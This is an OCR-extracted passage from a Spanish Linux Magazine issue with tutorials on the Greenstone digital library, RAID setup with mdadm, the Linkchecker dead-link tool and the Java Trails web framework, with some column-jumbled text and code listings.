Sencilla Adaptación de la Colección Añadir un nuevo icono a nuestra colección es sencillo. Podemos indicar los iconos asociados a las páginas ‘acerca de…‘ y la principal desde la sección general del panel de diseño. Además, Greenstone proporciona ciertas facilidades para la creación de imágenes de colección e iconos de clasificadores de estilo similar a los usados por este programa. Podemos ir a la página http:// www.greensotne.org/make-images.html para crear nuevas imágenes e iconos. Estos gráficos deben ser alojados en la carpeta de imágenes de la instalación de Greenstone (consultar la Figura 2). La página web explica cómo configurar Greenstone para usar las nuevas imágenes creadas. Es posible reconstruir nuestra colección en cualquier momento. Los comandos de formato pueden ser modificador sin necesidad de reconstruir la colección. Podremos
WWW.LINUX-MAGAZINE.ES
ver cualquier cambio efectuado simplemente refrescando la página web o pulsando sobre el botón de Vista Previa de la Colección (Preview Collection) en el panel de creación. Para más opciones de adaptación y operación hay que consultar la Guía de Usuario de Greenstone [8].
Sumario Greenstone se revela como una herramienta extremadamente útil en aplicaciones de ordenación, búsqueda y organización de un número grande de documentos electrónicos. Una vez construida y adaptada la biblioteca digital, ésta estará accesible desde ■ cualquier navegador web.
Recursos [1] El Proyecto de la Librería Digital de Nueva Zelanda: http://www.nzdl.org [2] Poyectos de DL Consulting: http:// www.dlconsulting.co.nz/cgi-bin/index. cgi?a=p&p=projects [3] Ejemplos de Greenstone en Acción: http://www.greenstone.org/cgi-bin/ library?a=p&p=examples [4] Descarga del Software Greenstone: http://prdownloads.sourceforge.net/ greenstone/gsdl-2.62-unix.tar.gz [5] Apache: http://www.apache.org [6] Apunta tu navegador a la URL: http:// localhost:9090/gsdl/cgi-bin/library [7] Adaptando tu Librería Greenstone: http://www.greenstone.org/cgi-bin/ library?a=p&p=faqcustomize#customi zeformat [8] Documentación de Greenstone: http:///www.greenstone.org/cgi-bin/ library?a=p&p=docs
RAID • PRÁCTICO
Opciones RAID para el Escritorio Linux
EASY RAIDER
los usuarios que no puedan decidir si necesitan más rendimiento o más redundancia hay un nivel RAID especial conocido como RAID 1.5. Sin embargo, este nivel es una combinación: hacen falta al menos cuatro discos para poder combinar las propiedades de los niveles 0 y 1. RAID 1.5 combina el nivel 0 y el 1 con sólo dos discos, presentando los discos RAID de forma separada a la capa de aplicación. (Figura 1).
Rendimiento con Striping
Linux ofrece varias opciones para conseguir la promesa RAID de accesos rápidos al disco duro y de seguridad de datos. POR MARCUS NASAREK
E
n los últimos 15 años, la capacidad de los discos duros ha crecido por un factor de al menos mil. Hace 15 años un disco duro típico tenía una capacidad de unos 300 a 500 Mbytes y resultaban tan caros como los discos actuales de 300 a 500 Gbytes. Como actualmente son bastante comunes los PCs con dos o más discos duros, los usuarios domésticos pueden fácilmente permitirse el lujo de la redundancia de datos y de mayores rendimientos, que hasta hace unos años sólo se podían permitir las empresas en sus servidores. La tecnología que hace todo esto posible se conoce como RAID.
Introducción a RAID RAID [1] fue diseñada hace unos 20 años por los estudiantes de postgrado de Berkeley, David Patterson, Garth Gibson y Randy Katz. En ese tiempo, RAID era la respuesta a un problema difícil: si se necesitaba una gran capacidad de almacenamiento había que elegir entre un disco grande, que era fiable pero caro, o un conjunto de discos pequeños, mucho menos fiables pero baratos. Uno de los problemas con los discos pequeños era que el esfuerzo de gestión que conllevaba el reemplazo de un disco grande por varios pequeños era demasiado grande. RAID era un esquema para direccionar un array de multiples discos como una única unidad. La solución propuesta también contaba con el riesgo de la perdida de datos en caso de que uno de los discos del array
fallara. El documento que publicaron se titulaba “A Case for Redundant Array of Inexpensive Disks (RAID)”. Cuando algún tiempo después el precio de los discos grandes dejó de ser un problema, la palabra Inexpensive (Barato) se sustituyó por Independent (Independiente). En el escenario RAID más sencillo pueden agruparse un número de discos para formar una única unidad y presentar esa unidad a la capa de aplicación como un único disco lógico. Esto es lo que los empollones denominan JBOD, “Just a Bundle of Disks” (Un conjunto de discos). Pero RAID puede hacer mucho más. Realiza las funciones de una capa de gestión entre el sistema de ficheros y el hardware permitiendo explotar las características físicas del array de discos. Distintas alternativas RAID ofrecen un rango completo de soluciones para mejorar el rendimiento o mitigar el riesgo de un fallo en el disco. Las distintas alternativas RAID se denominan Niveles RAID, aunque el término nivel no implica jerarquía; al contrario, los distintos niveles RAID son realmente diseños independientes. Los siete niveles básicos se conocen como RAID 0 a RAID 7. Véase el cuadro titulado “Niveles RAID” para saber más sobre estas alternativas RAID. Los niveles RAID 0 y 1 son los más importantes para los usuarios domésticos. El nivel 0 es también conocido como “striping” y proporciona el máximo rendimiento posible. El nivel 1 suministra un alto nivel de redundancia y se conoce como “mirroring”. Para
WWW.LINUX-MAGAZINE.ES
Striping (RAID 0) implica la unión conjunta de los discos y su direccionamiento en bloques. Cuando una aplicación necesita escribir datos, la controladora RAID distribuye la carga sobre todos los discos. Desde un punto de vista técnico la controladora simplemente vuelca los datos en la caché del disco duro y a continuación va al siguiente disco. Hasta que la controladora dialoga de nuevo con el primer disco, éste ha tenido tiempo suficiente para finalizar la tarea, debiendo tener los resultados ya listos para ser recogidos. Si se utilizan dos discos, los tiempos de acceso deberían ser teóricamente el doble de rápidos. Desde luego, RAID 0 no distribuye los datos a nivel de caracteres; por el contrario, utiliza bloques de datos con cierto grado de granularidad. La probabilidad de un fallo se incrementa en función del número de discos que se tengan en el array. Por ello, esta técnica se recomienda en sistemas donde la velocidad es mucho más importante que la redundancia.
La Seguridad de las Imágenes Mirroring (RAID 1) es exactamente lo contrario a la técnica anterior. Direcciona el disco en series y escribe los datos en cada disco del array; dicho de otro modo, RAID 1 realiza una imagen de los datos en el otro disco. Sin embargo, el almacenaje de copias idénticas de datos en cada disco significa que la capacidad total del array no va a ser mayor que la de un disco individualmente. Si se utilizan dos discos de 200 GBytes, la capacidad total va a ser de 200 GBytes en vez de 400 Gbytes. Mientras que el tiempo de escritura no es diferente del tiempo de escritura en un único disco, los accesos de lectura son mucho más rápidos, ya que la controladora puede leer desde los dos discos en paralelo. La gran ventaja que RAID 1 ofrece es que, si uno de los discos falla, los datos aún estarán disponibles en el otro disco. Sin embargo, esto sólo es aplicable a los defectos físicos: los errores lógicos, como los borrados
Número 20
39
PRÁCTICO • RAID
no deseados, las modificaciones o la sobreescritura de los archivos del sistema de ficheros se reflejarán en el otro disco en tiempo real. Dicho de otro modo, RAID 1 no protege de los errores humanos o de los errores software.
La Combinación: RAID 1.5 Para obtener los beneficios de los niveles RAID 0 y 1 al mismo tiempo, se necesita un PC con al menos cuatro discos duros para una solución que los combine RAID 10 (véase el cuadro “Niveles RAID”). Esto no
representa una opción para la mayoría de los usuarios. Algunos fabricantes, siendo conscientes de que la mayoría de los usuarios no desean utilizar cuatro discos, ofrecen una solución de compromiso que tan sólo hace uso de dos discos. RAID 1.5, que es como se conoce esta solución, divide cada uno de los dos discos en dos áreas. La controladora combina una de estas áreas de cada disco para proporcionar un array RAID 1, mientras que combina las otras dos para porporcionar un array RAID 0. Esta solución se muestra en la Figura 1.
DFI y Epox fueron los primeros fabricantes de placas madre que presentaron esta variante RAID, sin embargo, los vendedores fallaron en su propuesta; ambas placas tan sólo implementaban arrays RAID 1. Los beneficios sólo se obtuvieron en mejoras en las velocidades de lectura. Finalmente, Intel apareció con la controladora ICH6R I/O para los nuevos discos Serial ATA presentando la “Intel Matrix RAID”, que proporciona el soporte RAID 1.5 de forma correcta.
Niveles RAID Añadiéndole a los discos duros operadatos existentes y a los resultados de la Además de los conocidos niveles RAID 0 ciones a nivel de bits sobre los datos y suma. El resultado de la suma se denoy 1, existen una gran variedad de disealmacenando los resultados se podían mina paridad. RAID 3 almacena la ños RAID. El trabajo original de restaurar los datos perdidos cuando un paridad de los datos para el array en un Patterson, Gibson y Katz cubrió los nivedisco fallaba mediante referenciado a los único disco. Como el disco de la paridad les del 1 al 5. Los niveles 0 y 6 se se usa mucho más que los discos añadieron posteriormente, ya de datos, posee una tendencia que fueron soluciones propietanatural a fallar primero. rias. Los niveles del 2 al 4, y 6 y 7 son menos populares y han lleRAID 4 representa una pequeña gado a ser más o menos modificación sobre RAID 3: insignificantes. Las combinaciodonde RAID 3 utilizaba ristras de nes de otros diseños han llevado bytes, RAID 4 procesa los bloa los niveles conocidos como ques completos de datos. Como Nivel 0+1, 10, 30, 15, 50, 51, 55 y resultado, RAID 4 puede manejar RAID 0: Más velocidad debido a RAID 1: Redundancia a través de ficheros pequeños más eficienteRAID-Z. las operaciones en paralelo. la duplicación de discos. mente, mientras que RAID 3 sólo RAID 0 agrupa los discos y distrilo hacía con ficheros contiguos. buye la carga sobre los discos. Como RAID 3, RAID 4 utiliza un Esto hace que se mejoren considisco separado para la paridad. derablemente las velocidades de acceso. La capacidad total del RAID 5 es la versión más barata array es igual a la suma de las de almacenamiento de datos capacidades de los discos. El redundante. Suponiendo al riego de un fallo es bastante alto, menos un array de tres discos se ya que este nivel no ofrece ninobtiene el 66 por ciento del espagún tipo de redundancia. RAID 2: Seguridad en números. RAID 3: Striping con paridad. cio para almacenar los datos frente al 50 por ciento proporcionado por RAID 1. Cuanto más discos se añadan, mejores serán los resultados. RAID 5 distribuye los datos y la información sobre la paridad en todos los discos del array, por lo que todos los discos tienen el mismo uso. Como contrapartida, la reconstrucción del RAID tras un fallo lleva más y tiempo que con RAID 1.
RAID 1 escribe datos idénticos simultáneamente a todos los discos del array. La capacidad final del array es igual a la capacidad de un disco simple. Las velocidades de lectura son normalmente más rápidas que con un único disco y los accesos de escritura son casi de la misma velocidad.
RAID 4: Una mejor solución de RAID 5: Redundancia RAID 2 era bastante común en RAID 3 para ficheros pequeños. rendimiento de lectura. Dependiendo de la aplicación, los antiguos mainframes, pero pueden combinarse los niveles básicos de actualmente apenas se utiliza. Un array RAID más o menos de forma arbitraria. RAID 2 necesitaba al menos 10 discos. RAID 10 implementa un array RAID 0 Con un control de errores sofisticado usando dos arrays RAID 1. RAID 1 proporpermitía a los usuarios detectar tanto los ciona redundancia para una mayor errores en los discos como los errores de seguridad de los datos, mientras que RAID escritura. Suponiendo que se tenían 10 0 añade rendimiento. Si se tienen al menos discos, la tasa del tiempo de lectura y seis discos, una combinación de RAID 5 y 0 escritura era de 1 a 8 comparado con un (RAID 50) es incluso más eficiente. único disco. RAIDs combinados
40
Número 20
WWW.LINUX-MAGAZINE.ES
RAID • PRÁCTICO
Software vs. Hardware Los diversos diseños RAID se implementaron originalmente como soluciones software. Como el esfuerzo computacional de la solución puramente software era demasiado pesada para las CPUs del momento, no tardó en aparecer la primera tarjeta controladora RAID que fue presentada para proporcionar una solución más potente basada en hardware. Esta clase de implementación se conoce como RAID hardware. Aparecieron CPUs más potentes, con lo que era más fácil implementar RAID solamente basado en software. El software RAID de bajo presupuesto llegó a ser común en las máquinas domésticas que ejecutaban Linux. Los arrays RAID software normalmente no son tan rápidos como los basados en hardware. La carga de la CPU es normalmente apreciable en las operaciones diarias. Los beneficios de los accesos paralelos son difíciles de explotar con los controladores software. RAID empezó a popularizarse entre los usuarios domésticos cuando los fabricantes empezaron a añadir chips controladores RAID en sus placas. Hoy en día, la mayoría de las placas modernas, especialmente las que poseen conectores para los discos rápidos SATA, poseen alguna clase de soporte RAID. Los chips integrados en la mayoría de las placas madre tan sólo gestionan parte del proceso, dejando que los drivers compartan el trabajo. Y hacer que esto funcione no es algo que sea siempre trivial.
Explorando RAID La solución RAID basada en software hace tiempo que fue presentada en Linux. Ahora
los ordenadores poseen potencia suficiente para procesar la carga adicional de gestionar el array de discos casi transparentemente, y los beneficios del rendimiento de una solución basada en la placa madre pueden ser marginales, ya que recaen en el uso de controladores software. Para dar los primeros pasos con RAID, es perfectaFigura 2: Mdadm te muestra información sobre el estado de los mente viable la dispositivos RAID. instalación de una sobre el proceso; /dev/md0 es el nombre del variante basada en software. Para ello se dispositivo RAID resultante y —level=1 estanecesitan los privilegios de root en la blece el nivel de redundancia al nivel RAID 1. máquina en cuestión junto con al menos dos El último parámetro pasa el número de partiparticiones libres y la herramienta Mdadm ciones RAID y sus nombres. [2]. Hay que asegurarse de que las particioAntes de poder utilizar el array RAID nes no contengan datos, ya que se borrarán recién creado hay que formatear (utilizando los sistemas de ficheros de estas particiones ReiserFS en nuestro ejemplo) y montar el sisen el transcurso de nuestro experimento. tema de ficheros resultante: Incluso se puede utilizar una memoria USB para nuestros primeros ensayos RAID; mkreiserfs /dev/md0 sólo habrá que particionar la memoria con mkdir /media/RAID una herramienta como Gparted, Qtparted o mount /dev/md0 /media/RAID Cfdisk. El experimento implica los siguientes pasos: Ahora se puede utilizar el directorio • Crear al menos dos particiones de igual /media/RAID como cualquier otro disco. Sin tamaño. embargo, en el fondo, los datos se escribirán • Usar mdadm para combinar las particioen dos particiones para proporcionar la nes y crear un área RAID. redundancia. El comando mdadm -detail • Formatear el dispositivo RAID con un sis/dev/md0 presenta información del estado tema de ficheros. del array RAID. La Figura 2 muestra la salida • Acceder a la nueva partición RAID. • Utilizar mdadm para monitorizar el array de este comando. RAID.
Conclusiones
El siguiente ejemplo utiliza un dispositivo USB referenciado como /dev/sdc y dos particiones referenciadas como /dev/sdc1 y /dev/sdc2. Para contruir un array RAID 1, hay que introducir el siguiente comando mdadm: mdadm —create —verbose U /dev/md0 —level=1 -raid-devices=U 2 /dev/sdc1 /dev/sdc2 Figura 1: RAID Nivel 1.5 combina las características de RAID 0 y RAID 1
La opción —create crea el RAID; —verbose proporciona información más detallada
WWW.LINUX-MAGAZINE.ES
RAID ofrece diferentes beneficios para los usuarios domésticos. Con él se obtienen mayor redundancia de datos y accesos más rápidos al disco. La herramienta Mdadm ayuda a implementar cualquiera de los nive■ les RAID presentados en este artículo.
Recursos [1] RAID en Wikipedia:http://en.wikipedia. org/wiki/RAID [2] Mdadm: http://cgi.cse.unsw.edu.au/ ~neilb/mdadm
Número 20
41
PRÁCTICO • Linkchecker
Captura de Enlaces Web Muertos con Linkchecker
ENLACES PERDIDOS Linkchecker arregla los sitios webs con referencias a páginas perdidas. POR HAGEN HÖPFNER
S
EL AUTOR
i gestiona un sitio web grande, seguro que estará familiarizado con el problema de los enlaces muertos. Una página externa referenciada por un enlace puede quedarse fácilmente inoperativa y cuando un usuario pulse el enlace, el navegador dará un salto hacia un agujero negro. Este problema puede ser difícil de atajar a menos que se planee pasar todo el tiempo libre comprobando los enlaces de nuestro propio sitio web. Si se busca una forma rápida de cazar estos agujeros, entonces hay que probar Linkchecker. La forma más fácil de instalar Linkchecker [1] es utilizar la versión sin compilar. Para los sistemas basados en paquetes RPM, como Suse o Fedora, se encuentran disponibles en [2] un paquete RPM con la versión actual 3.3 y
42
Hagen Höpfner ha completado ya su doctorado en informática e imparte clases de bases de datos y sistemas de información en la Universidad Internacional de Alemania (http://www.i-u.de), en Bruchsal, Alemania. Además de ser un amado padre, Hagen es coautor de un manual de referencia sobre bases de datos para móviles y sistemas de información. En su tiempo libre, toca la guitarra en un grupo de rock llamado “Gute Frage” (http:// www.gutefrage.info).
Número 20
un archivo con el código fuente. Los usuarios con sistemas basados en Debian deberían probar en el sitio [3] o instalar Linkchecker ejecutando apt-get install linkchecker.
Buscando Huecos
completamente estándar con HTML, denominado test.html revela cómo funciona Linkchecker: con linkchecker test.html parece en un principio que no funciona. Linkchecker simplemente informa que ha comprobado un enlace y no ha encontrado ningún error (Figura 1). Sin embargo, el fichero de prueba en realidad incluye tres enlaces, dos de los cuales apuntan a agujeros negros. Por el contrario, si el fichero test.html es servido por un servidor web, Linkchecker encuentra los enlaces erróneos (Figura 2). La documentación también indica que la versión actual no soporta scripts Java.
Linkchecker se ejecuta en la línea de comandos con el patrón linkchecker opciones objeto, donde objeto es un fichero local o remoto accesible vía HTTP o FTP. Una entrada como linkchecEl Patrón Correcto ker www.linux-magazine.com debería funcionar, ya que Linkchecker añade Además de la salida de texto se puede automáticamente el prefijo URL http:// o seleccionar uno de los formatos listados ftp://. Si se utiliza un proxy para navegar en la Tabla 1. Según que se necesite una por Internet, habrá que indicárselo a salida para mostrarla en la pantalla o un Linkchecker por medio de las variables fichero de salida especial, podrían estade entorno http_proxy, https_proxy, blecerse —output=html o bien ftp_proxy y gopher_proxy. La sintáxis —file-output=html/nombre_de_fichero exacta depende del intérprete de comanpara el formato HTML. Si no se especidos que se esté utilizando. Si se tiene fica un nombre para el fichero de salida Bash, entonces con export Linkchecker llama al fichero http_proxy=”http://localhost:8080”; los linkchecker-out y le añade el tipo de que tengan el intérprete de comandos Tc con setenv http_proxy “http://localhost:8080”. Para un proxy que se esté ejecutando en la máquina local y esté a la escucha en el puerto 8080 pasa el enlace que comprueba Internet.. Figura 1: Linkchecker tiene problemas con el sistema de ficheros. Un fichero senIgnora dos errores y comprueba un enlace. cillo, pero no
WWW.LINUX-MAGAZINE.ES
Linkchecker • PRÁCTICO
Figura 2: Encontrando fallos: Linkchecker encuentra errores en “test.html” con ayuda del servidor web. La herramienta comprueba cuatro enlaces e informa que dos de ellos están mal.
fichero, por ejemplo linkchecker-out.html. La Figura 3 presenta al navegador web mostrando un fichero de salida: los enlaces, que permiten comprobar los resultados de la búsqueda, son una ayuda muy útil. La salida se envía a la terminal al mismo tiempo que al fichero. Si se desea
Tabla 1: Formatos de Salida Palabra reservada text html
csv
gml dot gxml
xml sql blacklist
none
Significado Salida estándar de texto a un fichero de texto plano. Salida como código HTML que contiene enlaces a las páginas referenciadas. Salida como texto separado por comas con una URL por línea. Salida en formato gráfico GML [6]. Salida en formato gráfico .dot [7]. Salida en formato GraphXML [4]. Hay visores disponibles en [5]. Salida en formato XML, com prensible para las máquinas. Salida como instrucciones INSERT de SQL. Esta opción le indica a Linkchecker que registre solamente información sobre los errores y que la escriba en ~/.linkchecker/blacklist. Esto es útil para la verificación automática de enlaces con cron. Sin salida, útil para los scripts.
Figura 3: Extrayendo los resultados en un documento HTML nos proporciona enlaces en la salida HTML, que si los seguimos nos llevan a comprobar los resultados.
que Linkchecker se ejecute en segundo plano, hay que establecer la opción -q, que suprime la salida por la línea de comandos. Algunos formatos de salida, como gml, requieren además la opción —verbose. Esta opción le indica al programa que añada información sobre los enlaces operativos en el gráfico.
Afinando Grandes sitios web normalmente engloban multitud de ficheros interrelacionados. Linkchecker inicia su búsqueda en la dirección de comienzo y busca de forma recursiva el dominio completo. Tecleando linkchecker www.linux-magazine.es se le indica al programa que compruebe todas las páginas que comiencen con http:// www.linux-magazine.es. La opción -r establece la profundidad de la búsqueda recursiva. linkchcker -r1 www.linux-magazine.com comprueba la página de bienvenida y todas las páginas que sean referenciadas por ésta. Si por el contrario se especifica -r2, el programa busca un nivel más profundo. Las opciones —no-follow-url=regex y —ignore-url=regex nos permiten influenciar en la búsqueda automática. El primer caso le indica a Linkchecker que analice las URLs que casen con la expresión regular, regex, pero que no busque en las subpáginas. También se puede especificar —ignore-url URLs para definir las páginas webs que Linkchecker debería ignorar. Por razones de eficiencia, esta herramienta investiga múltiples ficheros de forma paralela, normalmente hasta diez ficheros al mismo tiempo. Se puede modificar el número máximo de enlaces a comprobar
WWW.LINUX-MAGAZINE.ES
estableciendo la opción -tX, donde la X representa el número. El comando man linkchecker proporciona una lista de opciones disponibles.
Conclusiones Linkchecker es una herramienta muy útil para descubrir los enlaces muertos. La variedad de formatos de salida permiten el procesamiento estructurado de cualquier error que el proceso encuentre. En nuestro laboratorio, Linkchecker tuvo problemas con ficheros en su propio sistema de ficheros, ■ pero en ningún otro sitio más.
Recursos [1] Sitio web de Linkchecker: http:// linkchecker.sourceforge.net/ [2] Descarga de Linkchecker: http:// sourceforge.net/project/showfiles. php?group_id=1913 [3] Linkchecker para Debian: http:// packages.debian.org/unstable/web/ linkchecker [4] Ivan Herman, M. Scott Marshall: GraphXML . Un formato gráfico de intercambio basado en XML: http://db. cwi.nl/rapporten/abstract. php?abstractnr=613 [5] GVF. El Graph Visualization Framework: http://gvf.sourceforge.net/ [6] Formato de fichero GMLt: http:// infosun.fmi.uni-passau.de/Graphlet/ GML/ [7] Graphviz. Software de visualización de gráficos para los ficheros DOT: http://www.research.att.com/sw/tools/ graphviz/
Número 20
43
DESARROLLO • Java
Desarrollo de aplicaciones Web con el entorno de trabajo Trails
LA SENDA FELIZ
Vamos a crear aplicaciones Java en una fracción del tiempo normal de desarrollo con el potente (y libre) entorno de trabajo Trails. POR ROMAN WARTALA
D
ebió ser en algún momento a comienzos del verano de 2005 cuando Jim Weirich le mostró a su amigo Chris Nelson el vídeo de Ruby on Rails [1] de la reunión del Cincinnati Java User Group. Chris quedó impresionado por esta solución rápida y sencilla para el desarrollo de aplicaciones Web, y decidió introducir la misma idea en su lenguaje favorito, Java. Unos meses más tarde recogía los frutos con la presentación de la primera versión de Trails [2], un elegante entorno de trabajo para Java. El objetivo del proyecto Trails es “…conseguir que el desarrollo profesional en Java sea radicalmente más sencillo, permitiendo que el desarrollador se concentre en el modelo de dominio” mientras que otras porciones de código se generan dinámicamente [1]. Trails minimiza la cantidad de código original y genera automáticamente todo el código que sea posible. El nombre Trails procede de Rails y le añade una T de Tapestry [3]. Tapestry es un entorno de trabajo en software libre para el desarrollo de aplicaciones Web en Java. Trails también se basa en conceptos y componentes de otros entornos de trabajo sobradamente probados, como Apache Ant, AspectJ [4], Spring [5], y el mapeador de objetos relacionales Hibernate. En este artículo vamos a poner a trabajar a Trails en una pequeña aplicación de
44
Número 20
ejemplo: una herramienta que administre información de vídeos.
Comienzo Rápido Para trabajar con Trails necesitamos instalar Ant y el archivo de 20Mbyte de Trails que podemos encontrar en [2]. El archivo incluye todos los entornos de trabajo que necesitamos para ejecutarlo. Deberíamos también disponer de Tomcat 5.5 como servidor de aplicaciones para evitar retrasos. Tras configurar ANT_HOME y desempaquetar Trails en un directorio adecuado, podemos ejecutar el comando ant install-apt para instalar las librerías necesarias de Ant paraTrails en el directorio Ant-Lib. Trails genera automáticamente la aplicación esqueleto (Rails la denomina “andamiaje”) y la completa con las librerías y archivos de configuración necesarios. Para ello, todo lo que necesitamos es ejecutar ant create-project en el directorio de Trails. Tras teclear el directorio de root y un nombre para la nueva aplicación (myvideos, en este ejemplo), Trails crea un nuevo directorio junto con los subdirectorios necesarios y las librerías, incluyendo un archivo build.xml para crear y desplegar la nueva aplicación Web. La estructura de este nuevo directorio es la siguiente: • directorio de root/myvideos/: directorio principal para la aplicación Web. Este
WWW.LINUX- MAGAZINE.ES
directorio puede usarse como punto de partida para importar un proyecto a una IDE como Eclipse. • directorio de root/myvideos/src: directo rio del código fuente de la aplicación. Es aquí donde implementamos nuestras propias clases. • directorio de root/myvideos/context: directorio de la aplicación Web. • directorio de root/myvideos/context/ WEB-INF: este directorio alberga los archivos de configuración necesarios (web.xml, hibernate.properties, y demás) junto con las páginas de Tapestry y los fragmentos HTML. • directorio de root/myvideos/lib: un direc torio para todos los archivos con dife rentes entornos de trabajo (Hibernate, Tapestry, Apache Commons y demás). También tendremos que especificar la ruta hasta la instalación de Tomcat en build.properties.
Desarrollo basado en Dominio El punto de comienzo para cualquier aplicación Web en Trails es uno o más POJOs (Plain Old Java Objects), que se mapean con los objetos de dominio en la aplicación. Esta es la primera y más importante diferencia para los que estén familiarizados con Ruby on Rails: Trails no comienza con una tabla de base de datos, sino que
Java • DESARROLLO
aguarda una sencilla clase de Java como punto de partida. La clase del Listado 1, que administra los videos en nuestra aplicación de ejemplo, es sencilla de crear usando algún IDE moderno como Eclipse. El programador sólo necesita declarar los atributos de la clases id, title y year, y luego usa el generador de getters y setters (véase Figura 1) para crear los métodos de acceso apropiado. Para indicarle a Hibernate qué clase debe persistir, los desarrolladores tienen que usar anotaciones Java 5 que cumplan con los nuevos estándares EJB-3.0/ JSR 220 [6][7]. La anotación @Entity (Listado 1) especifica que Hibernate debería guardar la clase Movie en la base de datos. Aún falta un número identificador único (ID): la anotación @Id(generate=GeneratorType.AUTO) crea el ID usando para ello el atributo id. Para poder distinguir las películas de la base de datos, necesitamos también un equals, que está trivialmente implementado usando un EqualsBuilder del marco de trabajo apache.commons.lang.builder. Debemos llamar al objetivo de Ant, ant deploy. Esto envía la aplicación Web a la dirección http://localhost:8080/myvideos/.
CRUD La página de bienvenida de la aplicación para los vídeos le desea al usuario un
Figura 1: Podemos usar el generador de getters y setters para crear los métodos de acceso apropiados.
amistoso “Welcome”. Pulsando en List Movies nos llevamos la primera sorpresa, aunque puede que lo esperáramos si ya hemos trabajado con Rails: incluso en esta temprana etapa del desarrollo, los usuarios pueden crear, buscar, modificar o borrar los registros de las películas. Este diseño se
denomina CRUD (Create, Retrieve, Update, Delete), y es uno de los puntos destacados de cualquier demostración de Rails. Y, ¡atención!, si pulsamos sobre New Movie aparece un formulario de entrada desde la primera película. Una sencilla función de Trails, la llamada Pluralizer, genera
Listado 1: Movie (1) 01 02 03 04 05 06
package de.wartala.myvideos;
O) 19
import java.util.HashSet; import java.util.Set;
import javax.persistence.Entity; 07 import javax.persistence.GeneratorTyp e; 08 import javax.persistence.Id; 09 10 import org.apache.commons.lang.builde r.EqualsBuilder; 11 12 @Entity 13 public class Movie { 14 private Integer id; 15 private String title; 16 private Integer year; 17 18 @Id(generate=GeneratorType.AUT
getYear() { public Integer getId()
{ 20
return this.id;
21 22 23
}
public void setId(Integer id) { 24 this.id = id; 25 } 26 27 public String getTitle() { 28 return title; 29 } 30 31 public void setTitle(String title) { 32 this.title = title; 33 } 34 35 public Integer
WWW.LINUX- MAGAZINE.ES
36 37 38 39
return year; }
public void setYear(Integer year) { 40 this.year = year; 41 } 42 43 public boolean equals(Object obj) { 44 return EqualsBuilder.reflectionEquals (this, obj); 45 } 46 47 public String toString() { 48 return this.getTitle(); 49 } 50 }
Número 20
45
DESARROLLO • Java
usuario que introduzca una película puede pulsar sobre Add New para añadir actores.
Nuestra Propia Página Web Las páginas Web que hemos visto hasta ahora generadas por Trails son bastante sencillas. Las anotaciones de Trail proporcionan al desarrollador la posibilidad de hacer cambios sencillos, como modificar el orden de los cuadros de entrada de datos o los atributos de los títulos. Por ejemplo, el siguiente conjunto de anotaciones fija la posición de la fecha de nacimiento del actor en el formulario (Posición 2), el formato de salida de la fecha y la etiqueta.
Figura 2: Trails nos permite desarrollar aplicaciones Web en Java, como esta base de datos de películas, con un esfuerzo de codificación manual mínimo.
automáticamente el plural Movies desde el POJO Movie. Simplemente se le pasa un nombre de clase en singular al pluralizer para generar el plural. Queremos que nuestra aplicación de ejemplo administre tanto actores como películas. Para ello necesitamos implementar un objeto de dominio coincidente. La clase Actor contendrá los atributos Name y Birthday (véase Listado 2). Hibernate no sería un envoltorio de objetos relacionales si sólo fuese capaz de mapear objetos. Por supuesto, pueden expresar relaciones entre
entidades individuales. En la aplicación de administración de películas necesitamos la posibilidad de asignar varios actores a una única película, una típica relación 1 a n. Para expresar esto dentro de la clase Movie podemos usar los Generics de Java 5. Un conjunto de hashes de Actor implementa la relación 1 a n para los actores de la clase Movie (véase Listado 3, línea 25). Los getters y setters de este atributo de clase usan anotaciones JSR 220 para expresar la relación requerida (Listado 3, líneas 57 a 68). ant redeploy aplica los cambios. Ahora, un
@PropertyDescriptor(index=2,U format=”dd.MM.yyyy”,U displayName=”Birthday”) public Date getBirthday() { return birthday; }
Por supuesto, las modificaciones de este tipo no deberían residir dentro de la clase, sino fuera del código fuente. Para ello, las páginas deben estar parametrizadas. Para poder habilitar cambios estructurales en una página subyacente, Trails usa el marco de trabajo Tapestry para los controles de modelo de visión. Tapestry soporta implementaciones sencillas de validaciones e internacionalización de páginas Web. Al igual que las Java Server Faces (JSF), Tapestry distingue entre los componentes contenidos en una página y su representación. Todos los
Listado 2: Actor 01 package de.wartala.myvideos; 02 03 import java.util.Date; 04 05 import javax.persistence.Entity; 06 import javax.persistence.GeneratorTyp e; 07 import javax.persistence.Id; 08 09 @Entity 10 public class Actor { 11 private Integer id; 12 private String name; 13 private Date birthday; 14 15 @Id(generate=GeneratorType.AUT O)
46
Número 20
16
public Integer getId() {
17 18 19 20
return id; }
public void setId(Integer id) { 21 this.id = id; 22 } 23 24 public String getName() { 25 return name; 26 } 27 28 public void setName(String name) { 29 this.name = name; 30 }
WWW.LINUX- MAGAZINE.ES
31 32
public Date getBirthday() { 33 return birthday; 34 } 35 36 public void setBirthday(Date birthday) { 37 this.birthday = birthday; 38 } 39 40 public String toString() { 41 return this.getName(); 42 } 43 }
Java • DESARROLLO
elementos de entrada mostrados en Trails son componentes de Tapestry o Trails. Si queremos cambiar las páginas generadas, debemos preocuparnos por conocer la distribución de cada elemento en Tapestry. Trails genera páginas por defecto para los casos CRUD (extensión .html) y modelos de página (extensión .page). Ambas partes se controlan por la aplicación de servlet de Tapestry, que se integra a través del archivo web.xml.
Localización Si queremos localizar contenidos en páginas estáticas necesitamos cambiar las páginas
HTML correspondientes. Aquí es donde se usan los conjuntos de mensajes estilo Java. Los conjuntos de mensajes son simples archivos de propiedades con una estructura parameter=value. Para visualizar el Welcome en la página de inicio de la aplicación, Home.html, que dependa del locale del navegador Web, necesitamos un archivo messages_[countrycode].properties. Para myvideos en alemán, debería ser messages_de.properties en el directorio /myvideos/context/WEB-INF: org.trails.welcome=U Willkommen zu Trails
No debemos olvidar reemplazar la línea <h1>Welcome to Trails</h1> con la línea <h1><span key=”org.trails.welcome”Welcome to Trails</span></h1> en Home.html para visualizar un mensaje de bienvenida localizado. Desafortunadamente este método no funciona para el andamiaje: la página de inicio de la aplicación de ejemplo muestra aún “List Movies”. En su blog en [8], el desarrollador prometió una solución para esto en la próxima versión. Por tanto, tiene sentido añadir detalles específicos del país al andamiaje, anticipándonos al cambio. Si
Listado 3: Movie (2) 01 02 03 04 05 06 07 08
09 10 11
package de.wartala.myvideos; import java.util.HashSet; import java.util.Set; import javax.persistence.CascadeType; import javax.persistence.Entity; import javax.persistence.GeneratorTyp e; import javax.persistence.Id; import javax.persistence.JoinColumn; import javax.persistence.OneToMany;
